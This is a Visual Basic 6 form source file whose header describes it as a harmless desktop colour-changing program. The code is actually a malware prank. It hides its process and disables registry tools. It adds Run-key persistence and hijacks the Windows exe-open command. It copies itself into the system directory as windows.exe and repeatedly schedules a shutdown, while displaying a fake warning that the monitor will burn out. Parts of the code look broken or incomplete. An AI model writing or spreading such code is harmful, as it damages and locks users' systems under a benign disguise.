form1.frm

能使桌面上不停的换色.请先生成EXE再运行不然会出错。

VERSION 5.00
Begin VB.Form Form1 
   Appearance      =   0  'Flat
   BackColor       =   &H80000005&
   BorderStyle     =   0  'None
   Caption         =   "Form1"
   ClientHeight    =   8250
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   10815
   Icon            =   "Form1.frx":0000
   KeyPreview      =   -1  'True
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   Moveable        =   0   'False
   PaletteMode     =   2  'Custom
   ScaleHeight     =   8250
   ScaleWidth      =   10815
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  '窗口缺省
   WindowState     =   2  'Maximized
   Begin VB.Timer Timer1 
      Interval        =   200
      Left            =   5640
      Top             =   2160
   End
   Begin VB.Image Image1 
      Height          =   1350
      Left            =   3720
      Picture         =   "Form1.frx":06EA
      Top             =   4080
      Width           =   1110
   End
   Begin VB.Label Label1 
      BackStyle       =   0  'Transparent
      Caption         =   "你中了谢灿的超级病毒显示器会被烧坏系统将在900秒后自动为你关机……"
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   18
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H000000FF&
      Height          =   1335
      Left            =   5400
      TabIndex        =   0
      Top             =   4320
      Width           =   5415
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST = -1
Private Const SWP_SHOWWINDOWS = &H40



     
    

Private Sub Form_Load()
Dim retValue As Long
retValue = SetWindowPos(Me.hwnd, HWND_TOPMOST, Me.CurrentX, Me.CurrentY, 1024, 786, SWP_SHOWWINDOWS)
 
 

App.TaskVisible = False
'隐藏进程
HideCurrentProcess
'不能访问注册表
Dim hKey As Long
                RegCreateKey HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", hKey
                RegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1&, 4
                RegCloseKey hKey
'开机自动加载
Dim hKey1 As Long, SubKey As String, Exe As String
        SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
        Exe = App.Path & "\" & App.EXEName & ".exe"
        RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
        RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
        RegCloseKey hKey
'感染exe文件
Dim hKey2 As Long
                RegCreateKey HKEY_CLASSES_ROOT, "exefile\shell\open\command\", hKey
                RegSetValueEx hKey, "", 0, REG_SZ, ByVal "c:\1.exe %1", 30
                RegCloseKey hKey
                Dim a As String      '定义一个字符变量，用来存放当前文件的绝对路径
a = Command()     '将绝对路径存放到变量a中
If a = "" Then    '如果a的路径为空，则什么都不执行
Else       '否则执行程序
Shell a, 1     '这是打开变量a指定路径的文件，运行参数为默认
End If
'自己copy自己
Dim systempath As String
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1)
'先检查系统目录有无windows.exe文件，如果没有，自我复制到系统目录命名为windows.exe
If Not Dir(systempath & "\" & "windows.exe") = "SVCHOST.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "windows.exe"
End If
'以下为设置系统目录的windows.exe为开机自启动，名称为6331905，数据为windows.exe
Dim hKey3 As Long, SubKey1 As String, Exe1 As String
        SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
        Exe = (systempath & "\" & "windows.exe")
        RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
        RegSetValueEx hKey, "6331905", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
        RegCloseKey hKey

End Sub

Private Sub Timer1_Timer()
Form1.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)
Shell ("shutdown -s -t 900")
End Sub